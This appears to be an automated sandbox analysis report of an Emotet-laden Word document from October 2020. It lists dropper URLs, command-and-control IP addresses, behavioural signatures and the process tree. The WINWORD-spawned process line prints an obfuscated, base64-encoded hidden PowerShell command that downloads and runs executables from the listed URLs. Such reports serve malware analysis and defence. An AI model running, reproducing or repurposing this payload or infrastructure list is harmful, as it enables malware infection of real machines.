Analysis

  • max time kernel
    136s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    30/10/2020, 13:26

General

  • Target
    emotet_e1_d3589ced3c46c385cd771bb537c25db297ff85dc5ebd364f5e3c556f7ea526e3_2020-10-30__132308346269._doc.doc
  • Size 209KB
  • Sample201030-eajfqnyr6e
  • SHA256 d3589ced3c46c385cd771bb537c25db297ff85dc5ebd364f5e3c556f7ea526e3
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://kharazmischl.com/w/okz/

  • exe.dropper

    http://help-m2c.eccang.com/pseovck27kr/n/

  • exe.dropper

    http://myfarasan.com/sitepage/z/

  • exe.dropper

    http://chengmikeji.com/dertouqua/Ocm/

  • exe.dropper

    https://enews.enkj.com/wordpress/bd/

  • exe.dropper

    http://ecobaratocanaria.com/wp-admin/ms/

  • exe.dropper

    https://cimsjr.com/hospital/4q/

Extracted

Family
  • emotet

Botnet
  • Epoch1

C2
  • 190.202.229.74:80

  • 118.69.11.81:7080

  • 70.39.251.94:8080

  • 87.230.25.43:8080

  • 94.23.62.116:8080

  • 37.187.161.206:8080

  • 45.46.37.97:80

  • 138.97.60.141:7080

  • 177.144.130.105:8080

  • 169.1.39.242:80

  • 209.236.123.42:8080

  • 202.134.4.210:7080

  • 193.251.77.110:80

  • 2.45.176.233:80

  • 217.13.106.14:8080

  • 189.223.16.99:80

  • 190.101.156.139:80

  • 77.238.212.227:80

  • 181.58.181.9:80

  • 37.183.81.217:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_d3589ced3c46c385cd771bb537c25db297ff85dc5ebd364f5e3c556f7ea526e3_2020-10-30__132308346269._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1304
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -windowstyle hidden -ENCOD IABzAGUAdAAtAEkAdABlAE0AIABWAEEAcgBpAEEAQgBMAGUAOgBTAE4AbQBrAGgAIAAgACgAWwBUAFkAUABFAF0AKAAiAHsAMQB9AHsAMwB9AHsANAB9AHsAMAB9AHsAMgB9ACIAIAAtAEYAJwBlAEMAVAAnACwAJwBTAFkAUwBUAEUAbQAuAEkAbwAuACcALAAnAG8AcgBZACcALAAnAGQAJwAsACcASQBSACcAKQApADsAIAAgACQARQBrAGIAOQBMAHEAPQAgACAAWwBUAHkAUABFAF0AKAAiAHsAMgB9AHsANAB9AHsAMAB9AHsAMwB9AHsANwB9AHsAMQB9AHsANgB9AHsANQB9ACIAIAAtAGYAJwBzAGUAcgB2ACcALAAnAE8AaQBOACcALAAnAFMAWQBzAHQAZQBtAC4AJwAsACcAaQBDACcALAAnAE4AZQB0AC4AJwAsACcAZwBFAFIAJwAsACcAdABtAGEATgBhACcALAAnAGUAcAAnACkAIAAgADsAIAAgACQASAA3ADYAMQBzADMAegA9ACgAJwBKADAAJwArACgAJwBzAHcAJwArACcAeABlACcAKQArACcAOAAnACkAOwAkAFQAegAwAGoAdwBjAGQAPQAkAE8AMgBzADAAcABoADUAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEUAMwBrADgAdQA0AGUAOwAkAE4AbgBfADEAaABuAGMAPQAoACgAJwBUACcAKwAnAHAAaQAxAHcAJwApACsAJwA2ACcAKwAnADcAJwApADsAIAAgACQAUwBuAE0AawBIADoAOgAiAGMAcgBFAGAAQQBUAEUARABJAGAAUgBgAGUAQwBUAE8AcgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwA2ADcAJwArACcAMwBXACcAKwAnAHEAZQAnACkAKwAoACcAdwB6ACcAKwAnAGUAcgAnACkAKwAoACcANgAnACsAJwA3ADMAJwApACsAJwBaACcAKwAoACcAZABvACcAKwAnAHoAMAB4AGYANgAnACsAJwA3ACcAKQArACcAMwAnACkAIAAgAC0AQwByAGUAcABMAGEAQwBFACAAIAAoACcANgAnACsAJwA3ADMAJwApACwAWwBjAEgAYQBSAF0AOQAyACkAKQA7ACQARQA0AGYAaABmAGcAZwA9ACgAKAAnAEIAJwArACcAagB0ADIAJwApACsAKAAnAHMANAAnACsAJwBlACcAKQApADsAIAAgACQAZQBrAGIAOQBMAHEAOgA6ACIAUwBFAEMAVQBSAEkAVABZAFAAUgBPAGAAVABPAEMAYABPAEwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAnACsAJwAxADIAJwApACkAOwAkAFYAbwBjAGoAZgBnAG4APQAoACgAJwBSAHEAaQAnACsAJwBfAF8AJwApACsAJwBkADAAJwApADsAJABRAHgAbQBuAHAAdAA0ACAAPQAgACgAKAAnAFgAJwArACcAcAAxACcAKQArACcAMwAnACsAKAAnAHkAJwArACcAOQAwACcAKQApADsAJABGADgAeQAwADYAbQB2AD0AKAAoACcASAAnACsAJwB5ADcAaQAnACkAKwAnADQAdwAnACsAJwAyACcAKQA7ACQASwAwAHQAMQA5AGcAZAA9ACgAKAAnAEgAJwArACcAaAA2ACcAKQArACgAJwBkACcAKwAnAGMAbQAnACkAKwAnADgAJwApADsAJABRADYAYgBqAGsAdwBuAD0AJABIAE8ATQBFACsAKAAoACgAJwBJAEUAdwBXACcAKwAnAHEAZQAnACkAKwAoACcAdwB6ACcAKwAnAGUAcgBJAEUAdwBaAGQAJwArACcAbwAnACkAKwAoACcAegAwACcAKwAnAHgAJwApACsAJwBmACcAKwAoACcASQAnACsAJwBFAHcAJwApACkALQBDAHIARQBwAGwAYQBDAEUAIAAoACcASQBFACcAKwAnAHcAJwApACwAWwBDAEgAYQByAF0AOQAyACkAKwAkAFEAeABtAG4AcAB0ADQAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEwAegBiAGkAcwBwAG0APQAoACgAJwBXACcAKwAnAGsAegAnACkAKwAnAGwAJwArACgAJwBoADIAJwArACcAdAAnACkAKQA7ACQASgA4AGYAMgBxADIAbgA9AC4AKAAnAG4AZQB3AC0AbwBiAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAAbgBFAFQALgBXAEUAQgBjAEwAaQBFAG4AdAA7ACQAQwBuAHcAYQBtAGwAYQA9ACgAJwBoAHQAJwArACcAdAAnACsAJwBwADoAJwArACgAKAAnAF0AWwAnACsAJwAoACcAKQApACsAKAAoACcAcwApACcAKwAnAF0AdwBdACcAKQApACsAJwBbACcAKwAoACcAKABzACkAXQAnACsAJwB3AGsAJwArACcAaABhAHIAYQB6AG0AaQAnACsAJwBzAGMAJwApACsAKAAnAGgAbAAnACsAJwAuACcAKQArACcAYwBvACcAKwAoACgAJwBtACcAKwAnAF0AWwAoAHMAJwApACkAKwAnACkAJwArACgAJwBdAHcAJwArACcAdwAnACkAKwAoACgAJwBdAFsAJwArACcAKAAnACkAKQArACgAKAAnAHMAKQAnACkAKQArACgAJwBdACcAKwAnAHcAbwBrACcAKQArACgAKAAnAHoAXQBbACcAKwAnACgAJwApACkAKwAoACgAJwBzACkAJwApACkAKwAoACcAXQAnACsAJwB3AEAAJwApACsAJwBoAHQAJwArACcAdAAnACsAKAAnAHAAJwArACcAOgBdACcAKQArACgAJwBbACgAcwApAF0AdwAnACsAJwBdACcAKQArACgAJwBbACgAcwApACcAKwAnAF0AdwAnACkAKwAnAGgAZQAnACsAKAAnAGwAJwArACcAcAAtAG0AMgAnACsAJwBjAC4AZQBjACcAKQArACgAJwBjACcAKwAnAGEAbgAnACkAKwAoACcAZwAuAGMAJwArACcAbwAnACsAJwBtAF0AWwAoAHMAJwArACcAKQBdAHcAJwApACsAKAAnAHAAcwBlACcAKwAnAG8AJwApACsAKAAnAHYAYwBrADIANwAnACsAJwBrACcAKwAnAHIAJwApACsAKAAnAF0AWwAnACsAJwAoAHMAKQBdACcAKQArACgAJwB3AG4AJwArACcAXQBbACgAcwApACcAKwAnAF0AdwAnACkAKwAnAEAAJwArACgAJwBoACcAKwAnAHQAdABwADoAXQAnACkAKwAoACgAJwBbACcAKwAnACgAcwAnACkAKQArACgAKAAnACkAXQAnACkAKQArACcAdwAnACsAKAAnAF0AJwArACcAWwAoAHMAKQBdAHcAJwApACsAJwBtACcAKwAnAHkAJwArACgAJwBmACcAKwAnAGEAcgBhAHMAJwApACsAJwBhACcAKwAoACcAbgAuACcAKwAnAGMAbwBtACcAKQArACcAXQBbACcAKwAoACcAKAAnACsAJwBzACkAXQB3AHMAJwApACsAJwBpACcAKwAoACcAdAAnACsAJwBlAHAAJwApACsAJwBhACcAKwAoACcAZwBlAF0AWwAoAHMAJwArACcAKQBdACcAKQArACcAdwB6ACcAKwAoACgAJwBdAFsAJwArACcAKAAnACkAKQArACgAKAAnAHMAKQAnACsAJwBdAHcAJwApACkAKwAnAEAAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAKAAnADoAXQAnACsAJwBbACcAKQArACgAJwAoAHMAKQAnACsAJwBdACcAKQArACcAdwAnACsAJwBdAFsAJwArACgAJwAoAHMAKQAnACsAJwBdACcAKwAnAHcAYwBoACcAKQArACcAZQAnACsAJwBuAGcAJwArACcAbQBpACcAKwAoACcAawBlACcAKwAnAGoAJwApACsAJwBpACcAKwAoACcALgAnACsAJwBjAG8AJwApACsAJwBtACcAKwAoACcAXQAnACsAJwBbACgAcwApACcAKQArACgAJwBdAHcAJwArACcAZAAnACkAKwAoACcAZQAnACsAJwByAHQAJwApACsAKAAnAG8AJwArACcAdQBxACcAKQArACgAJwB1AGEAJwArACcAXQAnACkAKwAoACcAWwAoAHMAKQAnACsAJwBdAHcAJwApACsAJwBPACcAKwAoACgAJwBjAG0AJwArACcAXQBbACgAJwApACkAKwAoACgAJwBzACkAXQB3AEAAaAAnACsAJwB0ACcAKQApACsAJwB0ACcAKwAnAHAAJwArACcAcwA6ACcAKwAnAF0AWwAnACsAJwAoACcAKwAoACgAJwBzACkAJwApACkAKwAoACcAXQB3AF0AJwArACcAWwAnACkAKwAnACgAJwArACcAcwAnACsAJwApACcAKwAoACcAXQB3AGUAbgAnACsAJwBlAHcAcwAuACcAKQArACcAZQAnACsAJwBuACcAKwAoACcAawBqAC4AYwAnACsAJwBvACcAKQArACgAJwBtACcAKwAnAF0AJwArACcAWwAoAHMAKQBdACcAKQArACcAdwAnACsAKAAnAHcAbwByACcAKwAnAGQAJwArACcAcAByAGUAcwBzACcAKQArACcAXQBbACcAKwAoACgAJwAoAHMAJwApACkAKwAoACgAJwApAF0AJwApACkAKwAnAHcAJwArACcAYgAnACsAJwBkAF0AJwArACgAKAAnAFsAKAAnACkAKQArACgAKAAnAHMAKQAnACkAKQArACgAJwBdACcAKwAnAHcAQAAnACkAKwAnAGgAJwArACgAKAAnAHQAdABwADoAJwArACcAXQBbACcAKwAnACgAJwApACkAKwAnAHMAJwArACgAKAAnACkAXQB3ACcAKwAnAF0AWwAnACsAJwAoAHMAKQAnACkAKQArACgAJwBdAHcAJwArACcAZQBjAG8AJwApACsAJwBiACcAKwAoACcAYQAnACsAJwByAGEAJwApACsAJwB0ACcAKwAnAG8AYwAnACsAKAAnAGEAbgAnACsAJwBhACcAKQArACgAJwByACcAKwAnAGkAYQAnACkAKwAnAC4AYwAnACsAKAAnAG8AbQAnACsAJwBdACcAKQArACgAKAAnAFsAKAAnACkAKQArACcAcwAnACsAKAAoACcAKQBdACcAKwAnAHcAdwBwACcAKwAnAC0AYQBkAG0AaQAnACkAKQArACgAJwBuAF0AJwArACcAWwAnACkAKwAoACgAJwAoAHMAKQBdAHcAbQBzAF0AJwArACcAWwAnACsAJwAoACcAKwAnAHMAKQBdACcAKwAnAHcAJwArACcAQABoAHQAdABwAHMAJwArACcAOgBdAFsAKAAnACkAKQArACgAKAAnAHMAKQAnACkAKQArACcAXQB3ACcAKwAnAF0AJwArACgAKAAnAFsAKAAnACkAKQArACgAKAAnAHMAKQAnACsAJwBdACcAKQApACsAKAAnAHcAJwArACcAYwBpAG0AcwBqACcAKQArACcAcgAuACcAKwAoACcAYwAnACsAJwBvAG0AJwApACsAKAAoACcAXQAnACsAJwBbACgAcwAnACkAKQArACgAKAAnACkAXQB3ACcAKwAnAGgAJwApACkAKwAnAG8AJwArACcAcwAnACsAKAAnAHAAaQB0ACcAKwAnAGEAJwApACsAKAAnAGwAXQBbACcAKwAnACgAcwApAF0AJwArACcAdwA0AHEAJwApACsAKAAoACcAXQAnACsAJwBbACgAcwAnACkAKQArACgAKAAnACkAJwArACcAXQB3ACcAKQApACkALgAiAFIAYABlAFAAbABgAEEAYwBlACIAKAAoACcAXQBbACcAKwAoACcAKAAnACsAJwBzACkAJwApACsAJwBdAHcAJwApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwB4AHcAJwArACcAZQAnACkAKQBbADAAXQApAC4AIgBTAHAAYABsAGkAdAAiACgAJABSADEAbgB6AG8AagBxACAAKwAgACQAVAB6ADAAagB3AGMAZAAgACsAIAAkAFYAegB6AHgAcwBzADcAKQA7ACQAVQAwADQAZQB1AHQAcwA9ACgAJwBRACcAKwAoACcAaAAnACsAJwA2AHkAcwAnACkAKwAnADMAMwAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEMAYwBvAHUAbgAzAGMAIABpAG4AIAAkAEMAbgB3AGEAbQBsAGEAKQB7AHQAcgB5AHsAJABKADgAZgAyAHEAMgBuAC4AIgBEAE8AYABXAGAATgBsAG8AQQBkAGAARgBJAEwARQAiACgAJABDAGMAbwB1AG4AMwBjACwAIAAkAFEANgBiAGoAawB3AG4AKQA7ACQAUgB2AHAAbgBfAGgAdAA9ACgAJwBHAGIAJwArACgAJwBvADUAJwArACcAMgB6ACcAKQArACcANgAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAUQA2AGIAagBrAHcAbgApAC4AIgBMAGAARQBOAEcAdABIACIAIAAtAGcAZQAgADMANwAwADgANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAoACcAdwAnACsAJwBpAG4AMwAnACkAKwAoACcAMgAnACsAJwBfAFAAcgAnACsAJwBvAGMAZQBzACcAKQArACcAcwAnACkAKQAuACIAYwBgAFIAZQBBAHQARQAiACgAJABRADYAYgBqAGsAdwBuACkAOwAkAFMAdABpADAAcAAxAGYAPQAoACcASQAnACsAJwBjAGcAJwArACgAJwBvADMAcwAnACsAJwBjACcAKQApADsAYgByAGUAYQBrADsAJABEADAAOQBkAHQAMAB2AD0AKAAnAFAANgAnACsAKAAnAHQAJwArACcAZQB6AGsAMAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgBrADMAagB0AHUAawA9ACgAKAAnAEcAJwArACcAZgB5AGUAbQAnACkAKwAnADQAJwArACcAcgAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2944
  • C:\Users\Admin\Wqewzer\Zdoz0xf\Xp13y90.exe
    C:\Users\Admin\Wqewzer\Zdoz0xf\Xp13y90.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:980
    • C:\Windows\SysWOW64\es\finger.exe
      "C:\Windows\SysWOW64\es\finger.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:3400

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/980-16-0x0000000002370000-0x0000000002380000-memory.dmp

        memory/1304-0-0x00007FF8D5610000-0x00007FF8D5C47000-memory.dmp

        memory/1304-6-0x0000023721325000-0x000002372132A000-memory.dmp

        memory/2944-8-0x00007FF8CDD20000-0x00007FF8CE70C000-memory.dmp

        memory/2944-9-0x000002759DE70000-0x000002759DE71000-memory.dmp

        memory/2944-10-0x000002759DFA0000-0x000002759DFA1000-memory.dmp

        memory/3400-22-0x00000000020E0000-0x00000000020F0000-memory.dmp